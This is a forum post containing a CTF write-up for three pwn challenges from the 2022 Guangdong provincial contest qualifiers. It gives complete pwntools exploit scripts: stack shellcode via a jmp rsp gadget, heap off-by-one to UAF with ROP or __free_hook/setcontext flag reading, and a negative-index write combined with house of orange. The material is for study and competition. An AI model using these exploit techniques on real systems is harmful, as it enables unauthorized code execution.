首页
论坛
课程
招聘
[原创]2022广东省赛初赛
2022-6-15 17:51 3837

[原创]2022广东省赛初赛

2022-6-15 17:51
3837

比赛时最后一道没出,当时没看出来,也是赛后询问了R1nd0师傅才知道解法的

jmp_rsp

栈可执行,往栈上注入shellcode后跳转到栈上执行即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
#p=process('./jmp_rsp')
#gdb.attach(p,'b main')
#gdb.debug('./jmp_rsp')
p=remote('47.106.122.102',49602)
context.log_level='debug'
context.arch='amd64'
context.os='linux'
#gdb.attach(p)
jmp_rsp=0x000000000046d01d
 
shellcode=asm(shellcraft.sh())
 #0x7fffffffdde0
#0x7ffeb21fe9e8
# RBP  0x7fffffffde60
payload=b'a'*0x88+p64(jmp_rsp)
payload+=shellcode
# jmp 0x7fffffffde70
p.sendline(payload)
p.interactive()

orz(2.31orw)

libc2.31 orw

 

存在off by one ,构造好overlap从而实现UAF

 

泄露libc后,通过environment获取栈地址,然后在栈ret处布置好rop,读出flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
from pwn import *
#context.log_level = 'debug'
p = process("./orz",env = {'LD_PRELOAD':'./libc-2.31.so'})
p = remote('120.79.220.233',41764)
libc = ELF("./libc-2.31.so")
def add(size,data):
   p.recvuntil("Your choose which one?")
   p.sendline("1")
   p.recvuntil("please input note size : ")
   p.sendline(str(size))
   p.recvuntil("please input your note.")
   p.send(data)
def edit(idx,data):
   p.recvuntil("Your choose which one?")
   p.sendline("2")
   p.recvuntil("please input note index.")
   p.sendline(str(idx))
   p.recvuntil("please input new note.")
   p.send(data)
def show(idx):
   p.recvuntil("Your choose which one?")
   p.sendline("3")
   p.recvuntil("please input note index.")
   p.sendline(str(idx))
def free(idx):
   p.recvuntil("Your choose which one?")
   p.sendline("4")
   p.recvuntil("please input note index.")
   p.sendline(str(idx))
 
for i in range(7):
   add(0xb0,'a')
add(0xb0,'a')
add(0xb0,'a')
add(0x28,'a')
add(0xb0,'a')
add(0xb0,'a')
add(0xb0,'a')
for i in range(7):
   free(6-i)
 
for i in range(7):
   add(0xb0,'a')
 
show(4)
p.recvline()
heap = u64(p.recv(6)+b'\x00\x00') - 0x2B61
print(hex(heap))
for i in range(7):
   free(6-i)
edit(9, p64(heap+0x2E90)*2+b'\x00'*0x10+p64(0x30)+b'\xc0')
free(10)
for i in range(7):
   add(0xb0,'a')
show(9)
p.recvline()
libc_base = u64(p.recv(6)+b'\x00\x00') - 0x1ECBE0
print(hex(libc_base))
libc.address = libc_base
add(0xb0,'a')
free(7)
free(10)
edit(9,p64(libc.address+0x1EF600-1)+b'\n')
add(0xb0,'a')
add(0xb0,'\n')
show(10)
p.recvline()
p.recv(1)
stack = u64(p.recv(6)+b'\x00\x00') -0x120
print(hex(stack))
free(8)
free(7)
edit(9,p64(stack+0xa0)+b'\n')
 
 
 
pop_rdi = libc.address + 0x0000000000023b72
pop_rax = libc.address + 0x0000000000047400
pop_rsi = libc.address + 0x000000000002604f
pop_rdx_r12 = libc.address + 0x0000000000119241
syscall = libc.address + 0x11876B
 
 
 
payload = b''
payload += p64(pop_rax)
payload += p64(1)
payload += p64(pop_rsi)
payload += p64(heap+0x4000)
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(syscall)
print(hex(len(payload)))
add(0xb0,'/home/pwn/flag\x00')
add(0xb0,payload)
 
 
 
free(11)
free(7)
edit(9,p64(stack)+b'\n')
 
 
payload = b''
payload += p64(pop_rax)
payload += p64(2)
payload += p64(pop_rdi)
payload += p64(heap+0x2Ea0)
payload += p64(pop_rsi)
payload += p64(2)
payload += p64(pop_rdx_r12)
payload += p64(2)
payload += p64(0)
payload += p64(syscall)
payload += p64(pop_rax)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(6)
payload += p64(pop_rsi)
payload += p64(heap+0x4000)
payload += p64(pop_rdx_r12)
payload += p64(0x100)
payload += p64(0)
payload += p64(syscall)
print(hex(len(payload)))
 
add(0xb0,'/home/pwn/flag\x00')
#gdb.attach(p,'b *$rebase(0x163e)')
add(0xb0,payload)
 
p.interactive()
#flag{dda5b2d3-862f-49dc-950b-f764747f2836}

另一种做法 通过freehook来调用setcontext,在freehook附近布置rop,然后栈迁移到此处执行

 

远程记得文件描述符改为6,本地为3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
from pwn import *
#p=process('./orz')
p=remote('120.79.220.233',41764)
libc=ELF('./libc-2.31.so')
context.log_level='debug'
#0x28 0xb0
def add(size,content):
    p.sendlineafter('Your choose which one?\n','1')
    p.sendlineafter('please input note size : ',str(size))
    p.sendlineafter('note.\n',content)
def edit(idx,content):
    p.sendlineafter('Your choose which one?\n','2')
    p.sendlineafter('index.\n',str(idx))
    p.sendafter('note.',content)
def show(idx):
    p.sendlineafter('Your choose which one?\n','3')
    p.sendlineafter('index.\n',str(idx))
def free(idx):
    p.sendlineafter('Your choose which one?\n','4')
    p.sendlineafter('index.\n',str(idx))
 
 
heap_array=0x40E0
for i in range(8):
    add(0xb0,b'aaaa')
 
add(0x28,b'topchunk')#8
for i in range(7):
    free(i)
free(7)
add(0x28,b'a'*7)#0
 
 
 
show(0)
p.recvuntil('\x0a')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x1ecc90
free_hook=libc.sym['__free_hook']+libc_base
pop_rdi=0x0000000000023b72+libc_base
pop_rsi=0x000000000002604f+libc_base
pop_rdx_r12=0x0000000000119241+libc_base
pop_rax=0x0000000000047400+libc_base
#0x00000000001518b0:
#mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
gadget=0x00000000001518b0+libc_base
rop_addr=free_hook-0x100
flag_addr=free_hook-0x120
my_flag=free_hook+0x100
setcontext=libc.sym['setcontext']+61+libc_base
syscall=0x000000000002284d+libc_base
syscall_ret=0x00000000000630d9+libc_base
ret_addr=0x00000000000beeb1+libc_base
free(0)
 
 
for i in range(7):
    add(0xb0,b'aaaa') #0-6
'''
chunk 9  0x31
chunk 10 0x31
chunk 11  0x31
chunk 8 0x31
chunk 7  0x31 
chunk 12 0x31 #topchunk
 
'''
 
add(0x28,b'aaaa')
add(0x28,b'aaaa')
add(0x28,b'aaaa')#  unsorted
add(0x28,b'aaaa')#
add(0x28,b'aaaa')#
 
add(0xb0,b'aaaa')#13
 
 
edit(9,b'\x00'*0x28+b'\xc1')
 
 
add(0xb0,b'aaaa')#14
free(14)
 
free(10)
add(0xb0,b'aaaa')#10
 
edit(10,b'\x00'*0x28+p64(0xc1)+b'\n')
free(11)
edit(10,b'\x00'*0x28+p64(0xc1)+p64(free_hook-0x120)+b'\n')
success('libc_base=>'+hex(libc_base))
success('free=>'+hex(free_hook))
success("set=>"+hex(setcontext))
 
add(0xb0,b'aaaa')#11
 
 
payload=b'/home/pwn/flag'
payload=payload.ljust(0x10,b'\x00')
payload+=p64(rop_addr)*2
#open free_hook-0x100
payload+=p64(pop_rdi)
payload+=p64(flag_addr)
payload+=p64(pop_rsi)
payload+=p64(0)
payload+=p64(pop_rax)
payload+=p64(2)
payload+=p64(syscall_ret)
#read
payload+=p64(pop_rdi)+p64(6)
payload+=p64(pop_rsi)+p64(my_flag)
payload+=p64(pop_rdx_r12)+p64(0x50)+p64(0)
payload+=p64(pop_rax)+p64(0)
payload+=p64(syscall_ret)
#write
payload+=p64(pop_rdi)+p64(1)
payload+=p64(pop_rsi)+p64(my_flag)
payload+=p64(pop_rdx_r12)+p64(0x50)+p64(0)
payload+=p64(pop_rax)+p64(1)
payload+=p64(syscall_ret)
 
add(0xb0,payload[:0xb0]) #14   free_hook-0x120
#free_hook-0x120+0xb0= free-0x70
 
add(0xb0,b'aaaa')#15
free(15)
free(11)
edit(10,b'\x00'*0x28+p64(0xc1)+p64(free_hook-0x120+0xb0)+b'\n')
add(0xb0,b'aaaa')#11
add(0xb0,b'aaaa')#15  free-0x70
payload2=payload[0xb0:]
payload2=payload2.ljust(0x70,b'\x00')
payload2+=p64(0)+b'\n' #free_hook
edit(15,payload2)
#mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
add(0xb0,b'aaaa')#16
free(16)
free(11)
edit(10,b'\x00'*0x28+p64(0xc1)+p64(free_hook)+b'\n')
 
add(0xb0,b'aaaa')#11
add(0xb0,b'aaaa')#16 free_hook
 
payload=p64(gadget)+p64(free_hook)+p64(0)*2+p64(setcontext)
payload=payload.ljust(0xa0,b'\x00')
payload+=p64(rop_addr)+p64(ret_addr)+b'\n'
edit(16,payload)
#gdb.attach(p,'b *'+hex(syscall_ret))
free(16)
#add(0x28,b'topchunk')
p.interactive()

easyheap(orange+未初始化变量)

一道开了orw的2.31的堆

 

主要是漏洞不太好去发现且利用

 

图片描述
图片描述

 

图片描述

 

此处的索引有未初始化的初值,它可能是不被赋值的,如果我们能够控制,就能任意写堆地址

 

而backdoor和edit都有次数限制

 

图片描述

 

我们可以查看get_int函数的栈情况,因为它是add函数前调用的一个函数,这个函数可能有机会布置栈帧,从而控制add索引的初值

 

图片描述
发现确实有机会,atoi为字符串\x00截断,但read读了0x10字节,故可以布置一定的栈帧

 

再看赋值堆地址这段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.text:0000000000001412 018 mov     rcx, rax
.text:0000000000001415 018 mov     eax, [rbp+var_4]
.text:0000000000001418 018 cdqe                   #rax=v3
.text:000000000000141A 018 lea     rdx, ds:0[rax*8]
.text:0000000000001422 018 lea     rax, heap  
.text:0000000000001429 018 mov     [rdx+rax], rcx
.text:000000000000142D 018 mov     eax, [rbp+var_4]
.text:0000000000001430 018 cdqe
.text:0000000000001432 018 lea     rcx, ds:0[rax*4]
.text:000000000000143A 018 lea     rdx, heap_size
.text:0000000000001441 018 mov     eax, [rbp+var_C]
.text:0000000000001444 018 mov     [rcx+rdx], eax
.text:0000000000001447 018 lea     rdi, aContext   ; "Context:"
.text:000000000000144E 018 call    puts

对应

1
2
*((_QWORD *)&heap + v3) = malloc(v1);
  heap_size[v3] = v1;

然而ida识别的是:

 

图片描述
heap=0x4060

 

backdoor_time=0x4014

 

最后的offset为 (backdoor_time-heap)/8=-10

 

cdqe使用eax的最高位拓展rax高32位的所有位

 

ida识别错误了,这里用的是*8字节作为索引来,而反汇编显示是4字节 所以还是得看汇编

 

最终计算得到-10这个偏移值 也就是p32(0xffffffff-9)

 

用于从heap 以负数做索引写到backdoor 实现backdoor的多次利用

 

本题没有free函数,故需用house of orange的方法,越界写topchunksize,注意需要对齐

 

图片描述

 

还有记得pre inuse位要为1,故最终fake size是0xb71

 

最后add一个比这个size大的chunk,就会得到一个unsortedbin

 

在这之后 我们有几乎无限次的edit和back的任意写机会

 

先打stdout leak出libc之后,不管是任意写exit(house of banana) 还是直接再leak出栈地址(通过environ)来打返回地址都能打通。

 

由于个人原因 这里就不贴完整exp了,贴前面到unsortedbin的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
p=process('./easyheap')
libc=ELF('./libc-2.31.so')
context.log_level='debug'
context.arch='amd64'
context.os='linux'
heap=0x4060
backdoor_time=0x4014
offset=-10 # but 8 bytes
#gdb.attach(p)
 
def madd(size,content,offset=0):
    payload=b'1\x00\x00\x00'+p32(0xffffffff-9)*3
    p.sendafter('4.delete\n',payload)
    p.sendlineafter('Size?\n',str(size))
    p.sendlineafter('Context:\n',content)
 
def edit(idx,content):
    payload=b'2\x00\x00\x00'+p32(0xffffffff-9)*3
    p.sendafter('4.delete\n',payload)
    p.sendlineafter('Idx?\n',str(idx))
    p.sendlineafter('Context:\n',content)
 
def back(size,off,content):
    payload=b'666\x00\x00\x00\x00\x00'+p32(0xffffffff-9)*2
    p.sendafter('4.delete\n',payload)
    p.sendlineafter('Size?\n',str(size))
    p.sendafter('?\n',str(off))
    p.sendline(content)
  #b *$rebase(0x1405)
def pwn():
 
 
    for i in range(8):
        madd(0x200,b'aaaa')
 
    madd(0x200,b'aaaa')
 
    back(0x250,0x258,p64(0xb71))
 
    madd(0xc00,b'')#unsorted bin

看雪招聘平台创建简历并且简历完整度达到90%及以上可获得500看雪币~

上传的附件:
收藏
点赞3
打赏
分享
最新回复 (1)
雪    币: 490
活跃值: 活跃值 (338)
能力值: ( LV3,RANK:35 )
在线值:
发帖
回帖
粉丝
夏男人 活跃值 2022-6-16 21:32
2
0
j/ ddw
游客
登录 | 注册 方可回帖
返回